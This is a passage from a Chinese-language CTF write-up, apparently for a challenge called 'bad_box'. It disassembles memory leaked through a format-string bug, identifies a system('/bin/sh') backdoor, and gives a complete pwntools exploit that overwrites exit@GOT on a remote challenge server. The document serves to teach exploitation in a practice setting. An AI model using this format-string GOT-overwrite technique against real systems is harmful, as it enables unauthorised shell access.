0040127D 4881EC20010000 sub rsp,0x120
00401284 64488B0425280000 mov rax,[fs:0x28]
-00
0040128D 488945F8 mov [rbp-0x8],rax
00401291 31C0 xor eax,eax
00401293 B800000000 mov eax,0x0
00401298 E859FFFFFF call 0x4011f6
0040129D 488D05690D0000 lea rax,[rel 0x40200d]
004012A4 4889C7 mov rdi,rax
004012A7 E8F4FDFFFF call 0x4010a0 # puts()
004012AC 488D056E0D0000 lea rax,[rel 0x402021]
004012B3 4889C7 mov rdi,rax
004012B6 E8E5FDFFFF call 0x4010a0 # puts()
004012BB 488D05680D0000 lea rax,[rel 0x40202a]
004012C2 4889C7 mov rdi,rax
004012C5 E8D6FDFFFF call 0x4010a0 # puts()
004012CA 488D85F0FEFFFF lea rax,[rbp-0x110]
004012D1 BA00010000 mov edx,0x100
004012D6 4889C6 mov rsi,rax
004012D9 BF00000000 mov edi,0x0
004012DE E8FDFDFFFF call 0x4010e0 # read()
004012E3 8985ECFEFFFF mov [rbp-0x114],eax
004012E9 83BDECFEFFFF20 cmp dword [rbp-0x114],byte +0x20
004012F0 7F27 jg 0x401319
004012F2 8B85ECFEFFFF mov eax,[rbp-0x114]
004012F8 4863D0 movsxd rdx,eax
004012FB 488D85F0FEFFFF lea rax,[rbp-0x110]
00401302 4889C6 mov rsi,rax
00401305 BF01000000 mov edi,0x1
0040130A E8A1FDFFFF call 0x4010b0 # write()
0040130F BF00000000 mov edi,0x0
00401314 E8E7FDFFFF call 0x401100 # exit(0)
00401319 488D85F0FEFFFF lea rax,[rbp-0x110]
00401320 4889C7 mov rdi,rax
00401323 B800000000 mov eax,0x0
00401328 E8A3FDFFFF call 0x4010d0 # printf(buf)
0040132D BF00000000 mov edi,0x0
00401332 E8C9FDFFFF call 0x401100 # exit(0)
00401337 00F3 add bl,dh
00401339 0F1EFA hint_nop55 edx
0040133C 4883EC08 sub rsp,byte +0x8
00401340 4883C408 add rsp,byte +0x8
00401344 C3 ret

我们发现符号表里有system,但是main()里并未调用,那就猜测是否存在后门函数

那就在main()附近去泄露,看看能不能找到backdoor(),这里采取从main()往前预测,即0x401275-0x100开始泄露

将泄露出来的结果编译成简单的汇编

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
┌─[icyice@icyice-virtual-machine] - [~/Desktop/2025xinshengsai/IS/bad_box] - [10024]
└─[$] ndisasm -b 64 -o 0x401175 leaked_data.bin [20:25:59]
00401175 1F db 0x1f
00401176 8400 test [rax],al
00401178 0000 add [rax],al
0040117A 0000 add [rax],al
0040117C 0F1F4000 nop dword [rax+0x0]
00401180 BEC8334000 mov esi,0x4033c8
00401185 4881EEC8334000 sub rsi,0x4033c8
0040118C 4889F0 mov rax,rsi
0040118F 48C1EE3F shr rsi,byte 0x3f
00401193 48C1F803 sar rax,byte 0x3
00401197 4801C6 add rsi,rax
0040119A 48D1FE sar rsi,1
0040119D 7411 jz 0x4011b0
0040119F B800000000 mov eax,0x0
004011A4 4885C0 test rax,rax
004011A7 7407 jz 0x4011b0
004011A9 BFC8334000 mov edi,0x4033c8
004011AE FFE0 jmp rax
004011B0 C3 ret
004011B1 66662E0F1F840000 nop word [cs:rax+rax+0x0]
-000000
004011BC 0F1F4000 nop dword [rax+0x0]
004011C0 F30F1EFA endbr64
004011C4 803D3D22000000 cmp byte [rel 0x403408],0x0
004011CB 7513 jnz 0x4011e0
004011CD 55 push rbp
004011CE 4889E5 mov rbp,rsp
004011D1 E87AFFFFFF call 0x401150
004011D6 C6052B22000001 mov byte [rel 0x403408],0x1
004011DD 5D pop rbp
004011DE C3 ret
004011DF 90 nop
004011E0 C3 ret
004011E1 66662E0F1F840000 nop word [cs:rax+rax+0x0]
-000000
004011EC 0F1F4000 nop dword [rax+0x0]
004011F0 F30F1EFA endbr64
004011F4 EB8A jmp short 0x401180
004011F6 F30F1EFA endbr64
004011FA 55 push rbp
004011FB 4889E5 mov rbp,rsp
004011FE 488B05EB210000 mov rax,[rel 0x4033f0]
00401205 B900000000 mov ecx,0x0
0040120A BA02000000 mov edx,0x2
0040120F BE00000000 mov esi,0x0
00401214 4889C7 mov rdi,rax
00401217 E8D4FEFFFF call 0x4010f0
0040121C 488B05BD210000 mov rax,[rel 0x4033e0]
00401223 B900000000 mov ecx,0x0
00401228 BA02000000 mov edx,0x2
0040122D BE00000000 mov esi,0x0
00401232 4889C7 mov rdi,rax
00401235 E8B6FEFFFF call 0x4010f0
0040123A 488B05BF210000 mov rax,[rel 0x403400]
00401241 B900000000 mov ecx,0x0
00401246 BA02000000 mov edx,0x2
0040124B BE00000000 mov esi,0x0
00401250 4889C7 mov rdi,rax
00401253 E898FEFFFF call 0x4010f0
00401258 90 nop
00401259 5D pop rbp
0040125A C3 ret
0040125B F30F1EFA endbr64
0040125F 55 push rbp
00401260 4889E5 mov rbp,rsp
00401263 488D059A0D0000 lea rax,[rel 0x402004]
0040126A 4889C7 mov rdi,rax
0040126D E84EFEFFFF call 0x4010c0
00401272 90 nop
00401273 5D pop rbp
00401274 C3 ret

发现这个函数只调用了一个函数,并且该函数只设置了rdi寄存器

1
2
3
4
5
6
7
8
9
0040125B  F30F1EFA          endbr64
0040125F 55 push rbp
00401260 4889E5 mov rbp,rsp
00401263 488D059A0D0000 lea rax,[rel 0x402004]
0040126A 4889C7 mov rdi,rax
0040126D E84EFEFFFF call 0x4010c0
00401272 90 nop
00401273 5D pop rbp
00401274 C3 ret

想一想最简单的ret2text里的后门函数里的长相:

1
2
3
void backdoor(){
system("/bin/sh");
}

猜测这就是后门函数,去看看rdi里传的参数是什么,也就是利用%s看看0x402004出的字符串

image-20260331212710931

发现是/bin/sh,这就验证了我们对后门函数的猜测。

我们可以想到GOT表劫持,但如何去找GOT表地址呢?我们在main()里可以看到call 某函数@plt,而PLT表里就存有GOT表地址。

由于只有一次性的格式化字符串机会,我们选择劫持exit@got到后门函数,main()里给了exit@plt = 0x401100

1
2
0040132D  BF00000000        mov edi,0x0
00401332 E8C9FDFFFF call 0x401100 # exit(0)

泄露出来

image-20260331213825180

最后的exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pwn import *
context(os="linux", arch="amd64", log_level="debug")
io = remote("challenge.imxbt.cn", 32247)

s = lambda data :io.send(data)
sa = lambda delim,data :io.sendafter(delim, data)
sl = lambda data :io.sendline(data)
sla = lambda delim,data :io.sendlineafter(delim, data)
r = lambda num :io.recv(num)
rl = lambda :io.recvline()
ru = lambda delims, drop=True :io.recvuntil(delims, drop)
ia = lambda :io.interactive()
ls = lambda data :log.success(hex(data))
p = lambda :pause()

payload = fmtstr_payload(8, {0x4033a0:0x40125B})

s(payload)

ia()